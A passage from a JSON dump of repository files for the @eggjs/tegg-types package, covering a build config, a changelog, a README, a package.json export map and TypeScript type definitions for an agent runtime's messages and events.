    "content": "import { defineConfig } from 'tsdown';\n\nexport default defineConfig({\n  entry: {\n    index: 'src/index.ts',\n  },\n});\n"
  },
  {
    "path": "tegg/core/types/CHANGELOG.md",
    "content": "# Changelog\n\n> [!IMPORTANT]\n> Moving forwards we are using the GitHub releases page at <https://github.com/eggjs/egg/releases> in combination with [release.yml](https://github.com/eggjs/egg/actions/workflows/release.yml) for publishing releases and their changelogs.\n\n---\n\n## 4.0.0+\n\n* drop Node.js < 22.18.0 support\n* only support egg@4\n\npart of https://github.com/eggjs/egg/issues/5434\n\n---\n\nAll notable changes to this project will be documented in this file.\nSee [Conventional Commits](https://conventionalcommits.org) for commit guidelines.\n\n# [4.0.0-beta.4](https://github.com/eggjs/tegg/compare/v4.0.0-beta.3...v4.0.0-beta.4) (2025-03-15)\n\n**Note:** Version bump only for package @eggjs/tegg-types\n\n\n\n\n\n# [4.0.0-beta.3](https://github.com/eggjs/tegg/compare/v4.0.0-beta.2...v4.0.0-beta.3) (2025-03-15)\n\n\n### Bug Fixes\n\n* add qualifier check ([#296](https://github.com/eggjs/tegg/issues/296)) ([5ea21ff](https://github.com/eggjs/tegg/commit/5ea21ffec61e0c4a743e84d9c8e96d8d9079b4cc))\n\n\n### Features\n\n* add get/set for AdviceContext ([#297](https://github.com/eggjs/tegg/issues/297)) ([c299495](https://github.com/eggjs/tegg/commit/c299495b9407ec07b0a6e257d755d3d6f937d320))\n\n\n\n\n\n# [4.0.0-beta.2](https://github.com/eggjs/tegg/compare/v4.0.0-beta.1...v4.0.0-beta.2) (2025-03-03)\n\n**Note:** Version bump only for package @eggjs/tegg-types\n\n\n\n\n\n# [4.0.0-beta.1](https://github.com/eggjs/tegg/compare/v3.52.0...v4.0.0-beta.1) (2025-03-02)\n\n\n### Features\n\n* **core/types:** change to esm ([#263](https://github.com/eggjs/tegg/issues/263)) ([6ee4dad](https://github.com/eggjs/tegg/commit/6ee4dadcee4b90541b4d3fcd37161ed63960c7bd))\n\n\n\n\n\n# [3.52.0](https://github.com/eggjs/tegg/compare/v3.51.2...v3.52.0) (2024-12-30)\n\n**Note:** Version bump only for package @eggjs/tegg-types\n\n\n\n\n\n## [3.51.2](https://github.com/eggjs/tegg/compare/v3.51.1...v3.51.2) (2024-12-09)\n\n\n### Features\n\n* add mgw stream types ([#259](https://github.com/eggjs/tegg/issues/259)) ([1379d38](https://github.com/eggjs/tegg/commit/1379d382635c6bc575ce4acf3d3a7b5168487a3d))\n\n\n\n\n\n## [3.51.1](https://github.com/eggjs/tegg/compare/v3.51.0...v3.51.1) (2024-11-06)\n\n**Note:** Version bump only for package @eggjs/tegg-types\n\n\n\n\n\n# [3.51.0](https://github.com/eggjs/tegg/compare/v3.50.1...v3.51.0) (2024-10-30)\n\n\n### Features\n\n* support optional inject ([#254](https://github.com/eggjs/tegg/issues/254)) ([260470b](https://github.com/eggjs/tegg/commit/260470b766d5fdb323c1bd72cc6260a90468a161))\n\n\n\n\n\n## [3.50.1](https://github.com/eggjs/tegg/compare/v3.50.0...v3.50.1) (2024-10-23)\n\n**Note:** Version bump only for package @eggjs/tegg-types\n\n\n\n\n\n# [3.50.0](https://github.com/eggjs/tegg/compare/v3.49.0...v3.50.0) (2024-10-22)\n\n**Note:** Version bump only for package @eggjs/tegg-types\n\n\n\n\n\n# [3.49.0](https://github.com/eggjs/tegg/compare/v3.48.1...v3.49.0) (2024-10-21)\n\n**Note:** Version bump only for package @eggjs/tegg-types\n\n\n\n\n\n## [3.48.1](https://github.com/eggjs/tegg/compare/v3.48.0...v3.48.1) (2024-10-14)\n\n**Note:** Version bump only for package @eggjs/tegg-types\n\n\n\n\n\n# [3.48.0](https://github.com/eggjs/tegg/compare/v3.47.2...v3.48.0) (2024-10-10)\n\n\n### Features\n\n* add rpc stream type ([#249](https://github.com/eggjs/tegg/issues/249)) ([7f3d40b](https://github.com/eggjs/tegg/commit/7f3d40b95d7939534f245b08d9d06a9b10bac350))\n\n\n\n\n\n## [3.47.2](https://github.com/eggjs/tegg/compare/v3.47.1...v3.47.2) (2024-10-10)\n\n**Note:** Version bump only for package @eggjs/tegg-types\n\n\n\n\n\n## [3.47.1](https://github.com/eggjs/tegg/compare/v3.47.0...v3.47.1) (2024-10-10)\n\n**Note:** Version bump only for package @eggjs/tegg-types\n\n\n\n\n\n# [3.47.0](https://github.com/eggjs/tegg/compare/v3.46.4...v3.47.0) (2024-10-10)\n\n**Note:** Version bump only for package @eggjs/tegg-types\n\n\n\n\n\n## [3.46.4](https://github.com/eggjs/tegg/compare/v3.46.3...v3.46.4) (2024-10-09)\n\n**Note:** Version bump only for package @eggjs/tegg-types\n\n\n\n\n\n## [3.46.3](https://github.com/eggjs/tegg/compare/v3.46.2...v3.46.3) (2024-10-08)\n\n**Note:** Version bump only for package @eggjs/tegg-types\n\n\n\n\n\n## [3.46.2](https://github.com/eggjs/tegg/compare/v3.46.1...v3.46.2) (2024-10-07)\n\n**Note:** Version bump only for package @eggjs/tegg-types\n\n\n\n\n\n## [3.46.1](https://github.com/eggjs/tegg/compare/v3.46.0...v3.46.1) (2024-09-30)\n\n\n### Bug Fixes\n\n* fix miss MultiInstance proper qualifiers ([#241](https://github.com/eggjs/tegg/issues/241)) ([15666d3](https://github.com/eggjs/tegg/commit/15666d36c18b99eccc4f1a11d8e7702503694ee1))\n\n\n\n\n\n# [3.46.0](https://github.com/eggjs/tegg/compare/v3.45.0...v3.46.0) (2024-09-29)\n\n\n### Features\n\n* impl MultiInstance inject MultiInstance ([#240](https://github.com/eggjs/tegg/issues/240)) ([08e3b0c](https://github.com/eggjs/tegg/commit/08e3b0cc02f3d2dbba767298a6aec6c00147f9ed))\n\n\n\n\n\n# [3.45.0](https://github.com/eggjs/tegg/compare/v3.44.1...v3.45.0) (2024-09-29)\n\n\n### Features\n\n* impl MultiInstanceInfo decorator ([#239](https://github.com/eggjs/tegg/issues/239)) ([70d4d95](https://github.com/eggjs/tegg/commit/70d4d95bca4a0c3e11d0d7cc4f292b1315e49e81))\n\n\n\n\n\n## [3.44.1](https://github.com/eggjs/tegg/compare/v3.44.0...v3.44.1) (2024-09-29)\n\n**Note:** Version bump only for package @eggjs/tegg-types\n\n\n\n\n\n# [3.44.0](https://github.com/eggjs/tegg/compare/v3.43.2...v3.44.0) (2024-09-29)\n\n\n### Features\n\n* support inject in constructor ([#237](https://github.com/eggjs/tegg/issues/237)) ([e68b1ed](https://github.com/eggjs/tegg/commit/e68b1ed6a90432f1cb35a6f562914b7b04cb5114))\n\n\n\n\n\n## [3.43.2](https://github.com/eggjs/tegg/compare/v3.43.1...v3.43.2) (2024-09-14)\n\n**Note:** Version bump only for package @eggjs/tegg-types\n\n\n\n\n\n## [3.43.1](https://github.com/eggjs/tegg/compare/v3.43.0...v3.43.1) (2024-09-14)\n\n**Note:** Version bump only for package @eggjs/tegg-types\n\n\n\n\n\n# [3.43.0](https://github.com/eggjs/tegg/compare/v3.42.0...v3.43.0) (2024-09-13)\n\n\n### Features\n\n* add http cookies ([#235](https://github.com/eggjs/tegg/issues/235)) ([f46efa5](https://github.com/eggjs/tegg/commit/f46efa54b03bad41504bf76f6ed2baa8c48858ce))\n\n\n\n\n\n# [3.42.0](https://github.com/eggjs/tegg/compare/v3.41.0...v3.42.0) (2024-09-10)\n\n\n### Features\n\n* add LifecyclePreLoad ([#234](https://github.com/eggjs/tegg/issues/234)) ([2b72163](https://github.com/eggjs/tegg/commit/2b7216387f02cd045952447eaa21baa3a7ee04a3))\n\n\n\n\n\n# [3.41.0](https://github.com/eggjs/tegg/compare/v3.40.1...v3.41.0) (2024-08-26)\n\n**Note:** Version bump only for package @eggjs/tegg-types\n\n\n\n\n\n## [3.40.1](https://github.com/eggjs/tegg/compare/v3.40.0...v3.40.1) (2024-08-23)\n\n\n### Bug Fixes\n\n* use symbol.for instead of symbol ([#232](https://github.com/eggjs/tegg/issues/232)) ([4254ce5](https://github.com/eggjs/tegg/commit/4254ce558d22234f9dfff0ea9bc067075e21c654))\n\n\n\n\n\n# [3.40.0](https://github.com/eggjs/tegg/compare/v3.39.5...v3.40.0) (2024-08-22)\n\n\n### Features\n\n* @Middleware support Advice ([#231](https://github.com/eggjs/tegg/issues/231)) ([613a89d](https://github.com/eggjs/tegg/commit/613a89da7ea6dd70d50e34aa9f4152358a622625))\n\n\n\n\n\n## [3.39.5](https://github.com/eggjs/tegg/compare/v3.39.4...v3.39.5) (2024-08-09)\n\n**Note:** Version bump only for package @eggjs/tegg-types\n\n\n\n\n\n## [3.39.4](https://github.com/eggjs/tegg/compare/v3.39.3...v3.39.4) (2024-07-09)\n\n**Note:** Version bump only for package @eggjs/tegg-types\n\n\n\n\n\n## [3.39.3](https://github.com/eggjs/tegg/compare/v3.39.2...v3.39.3) (2024-04-28)\n\n\n### Bug Fixes\n\n* mount clazzExtension/clazzExtension/tableSql to BaseDao ([#220](https://github.com/eggjs/tegg/issues/220)) ([ac322cf](https://github.com/eggjs/tegg/commit/ac322cfc4100841a1483b04b99e04d553af323eb))\n\n\n\n\n\n## [3.39.2](https://github.com/eggjs/tegg/compare/v3.39.1...v3.39.2) (2024-04-28)\n\n**Note:** Version bump only for package @eggjs/tegg-types\n\n\n\n\n\n## [3.39.1](https://github.com/eggjs/tegg/compare/v3.39.0...v3.39.1) (2024-04-28)\n\n**Note:** Version bump only for package @eggjs/tegg-types\n\n\n\n\n\n# [3.39.0](https://github.com/eggjs/tegg/compare/v3.38.0...v3.39.0) (2024-04-19)\n\n**Note:** Version bump only for package @eggjs/tegg-types\n\n\n\n\n\n# [3.38.0](https://github.com/eggjs/tegg/compare/v3.37.3...v3.38.0) (2024-04-18)\n\n**Note:** Version bump only for package @eggjs/tegg-types\n\n\n\n\n\n## [3.37.3](https://github.com/eggjs/tegg/compare/v3.37.2...v3.37.3) (2024-04-17)\n\n\n### Bug Fixes\n\n* tegg-types publish ([#212](https://github.com/eggjs/tegg/issues/212)) ([98a4188](https://github.com/eggjs/tegg/commit/98a4188be2a307722c3df0c82a7af0d0fef685fd))\n\n\n\n\n\n## [3.37.2](https://github.com/eggjs/tegg/compare/v3.37.1...v3.37.2) (2024-04-17)\n\n**Note:** Version bump only for package @eggjs/tegg-types\n"
  },
  {
    "path": "tegg/core/types/README.md",
    "content": "# `@eggjs/tegg-types`\n\n[![NPM version][npm-image]][npm-url]\n[![Known Vulnerabilities][snyk-image]][snyk-url]\n[![npm download][download-image]][download-url]\n[![Node.js Version](https://img.shields.io/node/v/@eggjs/tegg-types.svg?style=flat)](https://nodejs.org/en/download/)\n\n[npm-image]: https://img.shields.io/npm/v/@eggjs/tegg-types.svg?style=flat-square\n[npm-url]: https://npmjs.org/package/@eggjs/tegg-types\n[snyk-image]: https://snyk.io/test/npm/@eggjs/tegg-types/badge.svg?style=flat-square\n[snyk-url]: https://snyk.io/test/npm/@eggjs/tegg-types\n[download-image]: https://img.shields.io/npm/dm/@eggjs/tegg-types.svg?style=flat-square\n[download-url]: https://npmjs.org/package/@eggjs/tegg-types\n\n## why\n\nNot all types and enums are suitable to be exported by tegg, but some types and enums are useful for tegg plugin and application development.\n\nSo we need this package to provide shared types and enums for tegg.\n\n## content\n\nshared types (type and interface) and enums for tegg, including:\n\n- shared types and enums among multiple tegg core packages\n\n- shared types and enums provided for tegg plugin and application development\n"
  },
  {
    "path": "tegg/core/types/package.json",
    "content": "{\n  \"name\": \"@eggjs/tegg-types\",\n  \"version\": \"4.0.2-beta.5\",\n  \"description\": \"tegg types\",\n  \"keywords\": [\n    \"egg\",\n    \"tegg\",\n    \"types\",\n    \"typescript\"\n  ],\n  \"homepage\": \"https://github.com/eggjs/egg/tree/next/tegg/core/types\",\n  \"bugs\": {\n    \"url\": \"https://github.com/eggjs/egg/issues\"\n  },\n  \"license\": \"MIT\",\n  \"author\": \"gxkl <gxkl203@gmail.com>\",\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"git+https://github.com/eggjs/egg.git\",\n    \"directory\": \"tegg/core/types\"\n  },\n  \"files\": [\n    \"dist\"\n  ],\n  \"type\": \"module\",\n  \"main\": \"./dist/index.js\",\n  \"module\": \"./dist/index.js\",\n  \"types\": \"./dist/index.d.ts\",\n  \"exports\": {\n    \".\": \"./src/index.ts\",\n    \"./agent-runtime\": \"./src/agent-runtime/index.ts\",\n    \"./agent-runtime/AgentMessage\": \"./src/agent-runtime/AgentMessage.ts\",\n    \"./agent-runtime/AgentRuntime\": \"./src/agent-runtime/AgentRuntime.ts\",\n    \"./agent-runtime/AgentStore\": \"./src/agent-runtime/AgentStore.ts\",\n    \"./agent-runtime/errors\": \"./src/agent-runtime/errors.ts\",\n    \"./agent-runtime/ObjectStorageClient\": \"./src/agent-runtime/ObjectStorageClient.ts\",\n    \"./aop\": \"./src/aop/index.ts\",\n    \"./aop/Advice\": \"./src/aop/Advice.ts\",\n    \"./aop/Aspect\": \"./src/aop/Aspect.ts\",\n    \"./aop/Crosscut\": \"./src/aop/Crosscut.ts\",\n    \"./aop/Pointcut\": \"./src/aop/Pointcut.ts\",\n    \"./common\": \"./src/common/index.ts\",\n    \"./common/Graph\": \"./src/common/Graph.ts\",\n    \"./common/Logger\": \"./src/common/Logger.ts\",\n    \"./common/ModuleConfig\": \"./src/common/ModuleConfig.ts\",\n    \"./common/RuntimeConfig\": \"./src/common/RuntimeConfig.ts\",\n    \"./controller-decorator\": \"./src/controller-decorator/index.ts\",\n    \"./controller-decorator/builder\": \"./src/controller-decorator/builder.ts\",\n    \"./controller-decorator/HTTPController\": \"./src/controller-decorator/HTTPController.ts\",\n    \"./controller-decorator/HTTPMethod\": \"./src/controller-decorator/HTTPMethod.ts\",\n    \"./controller-decorator/HTTPParam\": \"./src/controller-decorator/HTTPParam.ts\",\n    \"./controller-decorator/MCPController\": \"./src/controller-decorator/MCPController.ts\",\n    \"./controller-decorator/MCPPromptParams\": \"./src/controller-decorator/MCPPromptParams.ts\",\n    \"./controller-decorator/MCPResourceParams\": \"./src/controller-decorator/MCPResourceParams.ts\",\n    \"./controller-decorator/MCPToolParams\": \"./src/controller-decorator/MCPToolParams.ts\",\n    \"./controller-decorator/MetadataKey\": \"./src/controller-decorator/MetadataKey.ts\",\n    \"./controller-decorator/model\": \"./src/controller-decorator/model/index.ts\",\n    \"./controller-decorator/model/ControllerMetadata\": \"./src/controller-decorator/model/ControllerMetadata.ts\",\n    \"./controller-decorator/model/MethodMeta\": \"./src/controller-decorator/model/MethodMeta.ts\",\n    \"./controller-decorator/model/types\": \"./src/controller-decorator/model/types.ts\",\n    \"./core-decorator\": \"./src/core-decorator/index.ts\",\n    \"./core-decorator/ContextProto\": \"./src/core-decorator/ContextProto.ts\",\n    \"./core-decorator/enum\": \"./src/core-decorator/enum/index.ts\",\n    \"./core-decorator/enum/AccessLevel\": \"./src/core-decorator/enum/AccessLevel.ts\",\n    \"./core-decorator/enum/EggType\": \"./src/core-decorator/enum/EggType.ts\",\n    \"./core-decorator/enum/InjectType\": \"./src/core-decorator/enum/InjectType.ts\",\n    \"./core-decorator/enum/MultiInstanceType\": \"./src/core-decorator/enum/MultiInstanceType.ts\",\n    \"./core-decorator/enum/ObjectInitType\": \"./src/core-decorator/enum/ObjectInitType.ts\",\n    \"./core-decorator/enum/Qualifier\": \"./src/core-decorator/enum/Qualifier.ts\",\n    \"./core-decorator/Inject\": \"./src/core-decorator/Inject.ts\",\n    \"./core-decorator/Metadata\": \"./src/core-decorator/Metadata.ts\",\n    \"./core-decorator/model\": \"./src/core-decorator/model/index.ts\",\n    \"./core-decorator/model/EggMultiInstancePrototypeInfo\": \"./src/core-decorator/model/EggMultiInstancePrototypeInfo.ts\",\n    \"./core-decorator/model/EggPrototypeInfo\": \"./src/core-decorator/model/EggPrototypeInfo.ts\",\n    \"./core-decorator/model/InjectConstructorInfo\": \"./src/core-decorator/model/InjectConstructorInfo.ts\",\n    \"./core-decorator/model/InjectObjectInfo\": \"./src/core-decorator/model/InjectObjectInfo.ts\",\n    \"./core-decorator/model/QualifierInfo\": \"./src/core-decorator/model/QualifierInfo.ts\",\n    \"./core-decorator/MultiInstanceProto\": \"./src/core-decorator/MultiInstanceProto.ts\",\n    \"./core-decorator/Prototype\": \"./src/core-decorator/Prototype.ts\",\n    \"./core-decorator/SingletonProto\": \"./src/core-decorator/SingletonProto.ts\",\n    \"./dal\": \"./src/dal/index.ts\",\n    \"./dal/decorator\": \"./src/dal/decorator/index.ts\",\n    \"./dal/decorator/Column\": \"./src/dal/decorator/Column.ts\",\n    \"./dal/decorator/DataSourceQualifier\": \"./src/dal/decorator/DataSourceQualifier.ts\",\n    \"./dal/decorator/Table\": \"./src/dal/decorator/Table.ts\",\n    \"./dal/enum\": \"./src/dal/enum/index.ts\",\n    \"./dal/enum/ColumnFormat\": \"./src/dal/enum/ColumnFormat.ts\",\n    \"./dal/enum/ColumnType\": \"./src/dal/enum/ColumnType.ts\",\n    \"./dal/enum/CompressionType\": \"./src/dal/enum/CompressionType.ts\",\n    \"./dal/enum/IndexStoreType\": \"./src/dal/enum/IndexStoreType.ts\",\n    \"./dal/enum/IndexType\": \"./src/dal/enum/IndexType.ts\",\n    \"./dal/enum/InsertMethod\": \"./src/dal/enum/InsertMethod.ts\",\n    \"./dal/enum/RowFormat\": \"./src/dal/enum/RowFormat.ts\",\n    \"./dal/enum/SqlType\": \"./src/dal/enum/SqlType.ts\",\n    \"./dal/enum/Templates\": \"./src/dal/enum/Templates.ts\",\n    \"./dal/Qualifier\": \"./src/dal/Qualifier.ts\",\n    \"./dal/type\": \"./src/dal/type/index.ts\",\n    \"./dal/type/BaseDao\": \"./src/dal/type/BaseDao.ts\",\n    \"./dal/type/CodeGenerator\": \"./src/dal/type/CodeGenerator.ts\",\n    \"./dal/type/ColumnTsType\": \"./src/dal/type/ColumnTsType.ts\",\n    \"./dal/type/DateSource\": \"./src/dal/type/DateSource.ts\",\n    \"./dal/type/Spatial\": \"./src/dal/type/Spatial.ts\",\n    \"./dal/type/SqlMap\": \"./src/dal/type/SqlMap.ts\",\n    \"./dynamic-inject\": \"./src/dynamic-inject.ts\",\n    \"./lifecycle\": \"./src/lifecycle/index.ts\",\n    \"./lifecycle/EggObjectLifecycle\": \"./src/lifecycle/EggObjectLifecycle.ts\",\n    \"./lifecycle/IdenticalObject\": \"./src/lifecycle/IdenticalObject.ts\",\n    \"./lifecycle/LifecycleHook\": \"./src/lifecycle/LifecycleHook.ts\",\n    \"./metadata\": \"./src/metadata/index.ts\",\n    \"./metadata/enum\": \"./src/metadata/enum/index.ts\",\n    \"./metadata/enum/ProtoDescriptorType\": \"./src/metadata/enum/ProtoDescriptorType.ts\",\n    \"./metadata/errors\": \"./src/metadata/errors.ts\",\n    \"./metadata/model\": \"./src/metadata/model/index.ts\",\n    \"./metadata/model/EggPrototype\": \"./src/metadata/model/EggPrototype.ts\",\n    \"./metadata/model/Loader\": \"./src/metadata/model/Loader.ts\",\n    \"./metadata/model/LoadUnit\": \"./src/metadata/model/LoadUnit.ts\",\n    \"./metadata/model/ProtoDescriptor\": \"./src/metadata/model/ProtoDescriptor.ts\",\n    \"./orm\": \"./src/orm.ts\",\n    \"./runtime\": \"./src/runtime/index.ts\",\n    \"./runtime/Factory\": \"./src/runtime/Factory.ts\",\n    \"./runtime/model\": \"./src/runtime/model/index.ts\",\n    \"./runtime/model/EggContainer\": \"./src/runtime/model/EggContainer.ts\",\n    \"./runtime/model/EggContext\": \"./src/runtime/model/EggContext.ts\",\n    \"./runtime/model/EggObject\": \"./src/runtime/model/EggObject.ts\",\n    \"./runtime/model/LoadUnitInstance\": \"./src/runtime/model/LoadUnitInstance.ts\",\n    \"./schedule\": \"./src/schedule.ts\",\n    \"./transaction\": \"./src/transaction.ts\",\n    \"./package.json\": \"./package.json\"\n  },\n  \"publishConfig\": {\n    \"access\": \"public\",\n    \"exports\": {\n      \".\": \"./dist/index.js\",\n      \"./agent-runtime\": \"./dist/agent-runtime/index.js\",\n      \"./agent-runtime/AgentMessage\": \"./dist/agent-runtime/AgentMessage.js\",\n      \"./agent-runtime/AgentRuntime\": \"./dist/agent-runtime/AgentRuntime.js\",\n      \"./agent-runtime/AgentStore\": \"./dist/agent-runtime/AgentStore.js\",\n      \"./agent-runtime/errors\": \"./dist/agent-runtime/errors.js\",\n      \"./agent-runtime/ObjectStorageClient\": \"./dist/agent-runtime/ObjectStorageClient.js\",\n      \"./aop\": \"./dist/aop/index.js\",\n      \"./aop/Advice\": \"./dist/aop/Advice.js\",\n      \"./aop/Aspect\": \"./dist/aop/Aspect.js\",\n      \"./aop/Crosscut\": \"./dist/aop/Crosscut.js\",\n      \"./aop/Pointcut\": \"./dist/aop/Pointcut.js\",\n      \"./common\": \"./dist/common/index.js\",\n      \"./common/Graph\": \"./dist/common/Graph.js\",\n      \"./common/Logger\": \"./dist/common/Logger.js\",\n      \"./common/ModuleConfig\": \"./dist/common/ModuleConfig.js\",\n      \"./common/RuntimeConfig\": \"./dist/common/RuntimeConfig.js\",\n      \"./controller-decorator\": \"./dist/controller-decorator/index.js\",\n      \"./controller-decorator/builder\": \"./dist/controller-decorator/builder.js\",\n      \"./controller-decorator/HTTPController\": \"./dist/controller-decorator/HTTPController.js\",\n      \"./controller-decorator/HTTPMethod\": \"./dist/controller-decorator/HTTPMethod.js\",\n      \"./controller-decorator/HTTPParam\": \"./dist/controller-decorator/HTTPParam.js\",\n      \"./controller-decorator/MCPController\": \"./dist/controller-decorator/MCPController.js\",\n      \"./controller-decorator/MCPPromptParams\": \"./dist/controller-decorator/MCPPromptParams.js\",\n      \"./controller-decorator/MCPResourceParams\": \"./dist/controller-decorator/MCPResourceParams.js\",\n      \"./controller-decorator/MCPToolParams\": \"./dist/controller-decorator/MCPToolParams.js\",\n      \"./controller-decorator/MetadataKey\": \"./dist/controller-decorator/MetadataKey.js\",\n      \"./controller-decorator/model\": \"./dist/controller-decorator/model/index.js\",\n      \"./controller-decorator/model/ControllerMetadata\": \"./dist/controller-decorator/model/ControllerMetadata.js\",\n      \"./controller-decorator/model/MethodMeta\": \"./dist/controller-decorator/model/MethodMeta.js\",\n      \"./controller-decorator/model/types\": \"./dist/controller-decorator/model/types.js\",\n      \"./core-decorator\": \"./dist/core-decorator/index.js\",\n      \"./core-decorator/ContextProto\": \"./dist/core-decorator/ContextProto.js\",\n      \"./core-decorator/enum\": \"./dist/core-decorator/enum/index.js\",\n      \"./core-decorator/enum/AccessLevel\": \"./dist/core-decorator/enum/AccessLevel.js\",\n      \"./core-decorator/enum/EggType\": \"./dist/core-decorator/enum/EggType.js\",\n      \"./core-decorator/enum/InjectType\": \"./dist/core-decorator/enum/InjectType.js\",\n      \"./core-decorator/enum/MultiInstanceType\": \"./dist/core-decorator/enum/MultiInstanceType.js\",\n      \"./core-decorator/enum/ObjectInitType\": \"./dist/core-decorator/enum/ObjectInitType.js\",\n      \"./core-decorator/enum/Qualifier\": \"./dist/core-decorator/enum/Qualifier.js\",\n      \"./core-decorator/Inject\": \"./dist/core-decorator/Inject.js\",\n      \"./core-decorator/Metadata\": \"./dist/core-decorator/Metadata.js\",\n      \"./core-decorator/model\": \"./dist/core-decorator/model/index.js\",\n      \"./core-decorator/model/EggMultiInstancePrototypeInfo\": \"./dist/core-decorator/model/EggMultiInstancePrototypeInfo.js\",\n      \"./core-decorator/model/EggPrototypeInfo\": \"./dist/core-decorator/model/EggPrototypeInfo.js\",\n      \"./core-decorator/model/InjectConstructorInfo\": \"./dist/core-decorator/model/InjectConstructorInfo.js\",\n      \"./core-decorator/model/InjectObjectInfo\": \"./dist/core-decorator/model/InjectObjectInfo.js\",\n      \"./core-decorator/model/QualifierInfo\": \"./dist/core-decorator/model/QualifierInfo.js\",\n      \"./core-decorator/MultiInstanceProto\": \"./dist/core-decorator/MultiInstanceProto.js\",\n      \"./core-decorator/Prototype\": \"./dist/core-decorator/Prototype.js\",\n      \"./core-decorator/SingletonProto\": \"./dist/core-decorator/SingletonProto.js\",\n      \"./dal\": \"./dist/dal/index.js\",\n      \"./dal/decorator\": \"./dist/dal/decorator/index.js\",\n      \"./dal/decorator/Column\": \"./dist/dal/decorator/Column.js\",\n      \"./dal/decorator/DataSourceQualifier\": \"./dist/dal/decorator/DataSourceQualifier.js\",\n      \"./dal/decorator/Table\": \"./dist/dal/decorator/Table.js\",\n      \"./dal/enum\": \"./dist/dal/enum/index.js\",\n      \"./dal/enum/ColumnFormat\": \"./dist/dal/enum/ColumnFormat.js\",\n      \"./dal/enum/ColumnType\": \"./dist/dal/enum/ColumnType.js\",\n      \"./dal/enum/CompressionType\": \"./dist/dal/enum/CompressionType.js\",\n      \"./dal/enum/IndexStoreType\": \"./dist/dal/enum/IndexStoreType.js\",\n      \"./dal/enum/IndexType\": \"./dist/dal/enum/IndexType.js\",\n      \"./dal/enum/InsertMethod\": \"./dist/dal/enum/InsertMethod.js\",\n      \"./dal/enum/RowFormat\": \"./dist/dal/enum/RowFormat.js\",\n      \"./dal/enum/SqlType\": \"./dist/dal/enum/SqlType.js\",\n      \"./dal/enum/Templates\": \"./dist/dal/enum/Templates.js\",\n      \"./dal/Qualifier\": \"./dist/dal/Qualifier.js\",\n      \"./dal/type\": \"./dist/dal/type/index.js\",\n      \"./dal/type/BaseDao\": \"./dist/dal/type/BaseDao.js\",\n      \"./dal/type/CodeGenerator\": \"./dist/dal/type/CodeGenerator.js\",\n      \"./dal/type/ColumnTsType\": \"./dist/dal/type/ColumnTsType.js\",\n      \"./dal/type/DateSource\": \"./dist/dal/type/DateSource.js\",\n      \"./dal/type/Spatial\": \"./dist/dal/type/Spatial.js\",\n      \"./dal/type/SqlMap\": \"./dist/dal/type/SqlMap.js\",\n      \"./dynamic-inject\": \"./dist/dynamic-inject.js\",\n      \"./lifecycle\": \"./dist/lifecycle/index.js\",\n      \"./lifecycle/EggObjectLifecycle\": \"./dist/lifecycle/EggObjectLifecycle.js\",\n      \"./lifecycle/IdenticalObject\": \"./dist/lifecycle/IdenticalObject.js\",\n      \"./lifecycle/LifecycleHook\": \"./dist/lifecycle/LifecycleHook.js\",\n      \"./metadata\": \"./dist/metadata/index.js\",\n      \"./metadata/enum\": \"./dist/metadata/enum/index.js\",\n      \"./metadata/enum/ProtoDescriptorType\": \"./dist/metadata/enum/ProtoDescriptorType.js\",\n      \"./metadata/errors\": \"./dist/metadata/errors.js\",\n      \"./metadata/model\": \"./dist/metadata/model/index.js\",\n      \"./metadata/model/EggPrototype\": \"./dist/metadata/model/EggPrototype.js\",\n      \"./metadata/model/Loader\": \"./dist/metadata/model/Loader.js\",\n      \"./metadata/model/LoadUnit\": \"./dist/metadata/model/LoadUnit.js\",\n      \"./metadata/model/ProtoDescriptor\": \"./dist/metadata/model/ProtoDescriptor.js\",\n      \"./orm\": \"./dist/orm.js\",\n      \"./runtime\": \"./dist/runtime/index.js\",\n      \"./runtime/Factory\": \"./dist/runtime/Factory.js\",\n      \"./runtime/model\": \"./dist/runtime/model/index.js\",\n      \"./runtime/model/EggContainer\": \"./dist/runtime/model/EggContainer.js\",\n      \"./runtime/model/EggContext\": \"./dist/runtime/model/EggContext.js\",\n      \"./runtime/model/EggObject\": \"./dist/runtime/model/EggObject.js\",\n      \"./runtime/model/LoadUnitInstance\": \"./dist/runtime/model/LoadUnitInstance.js\",\n      \"./schedule\": \"./dist/schedule.js\",\n      \"./transaction\": \"./dist/transaction.js\",\n      \"./package.json\": \"./package.json\"\n    }\n  },\n  \"scripts\": {\n    \"typecheck\": \"tsgo --noEmit\"\n  },\n  \"dependencies\": {\n    \"@modelcontextprotocol/sdk\": \"^1.23.0\"\n  },\n  \"devDependencies\": {\n    \"@types/node\": \"catalog:\",\n    \"egg\": \"workspace:*\",\n    \"typescript\": \"catalog:\"\n  },\n  \"peerDependencies\": {\n    \"egg\": \"workspace:*\"\n  },\n  \"engines\": {\n    \"node\": \">=22.18.0\"\n  }\n}\n"
  },
  {
    "path": "tegg/core/types/src/agent-runtime/AgentMessage.ts",
    "content": "// ===== Content block types =====\n\nexport const ContentBlockType = {\n  Text: 'text',\n} as const;\nexport type ContentBlockType = (typeof ContentBlockType)[keyof typeof ContentBlockType];\n\n// ===== Content types =====\n\nexport interface InputContentPart {\n  type: typeof ContentBlockType.Text;\n  text: string;\n}\n\nexport interface TextContentBlock {\n  type: typeof ContentBlockType.Text;\n  text: { value: string; annotations: unknown[] };\n}\n\nexport type MessageContentBlock = TextContentBlock;\n\n// ===== Input / Output message types =====\n\nexport interface InputMessage {\n  role: string;\n  content: string | { type: string; text: string }[];\n  metadata?: Record<string, unknown>;\n}\n\nexport interface MessageObject {\n  id: string;\n  object: string;\n  createdAt: number;\n  role: string;\n  status: string;\n  content: MessageContentBlock[];\n  runId?: string;\n  threadId?: string;\n}\n"
  },
  {
    "path": "tegg/core/types/src/agent-runtime/AgentRuntime.ts",
    "content": "import type { InputContentPart, MessageContentBlock } from './AgentMessage.ts';\nimport type { AgentRunConfig, InputMessage, MessageObject, RunStatus } from './AgentStore.ts';\n\nexport { ContentBlockType } from './AgentMessage.ts';\nexport type { InputContentPart, MessageContentBlock, TextContentBlock } from './AgentMessage.ts';\n\n// ===== Message roles =====\n\nexport const MessageRole = {\n  User: 'user',\n  Assistant: 'assistant',\n  System: 'system',\n} as const;\nexport type MessageRole = (typeof MessageRole)[keyof typeof MessageRole];\n\n// ===== Message statuses =====\n\nexport const MessageStatus = {\n  InProgress: 'in_progress',\n  Incomplete: 'incomplete',\n  Completed: 'completed',\n} as const;\nexport type MessageStatus = (typeof MessageStatus)[keyof typeof MessageStatus];\n\n// ===== SSE events =====\n\nexport const AgentSSEEvent = {\n  ThreadRunCreated: 'thread.run.created',\n  ThreadRunInProgress: 'thread.run.in_progress',\n  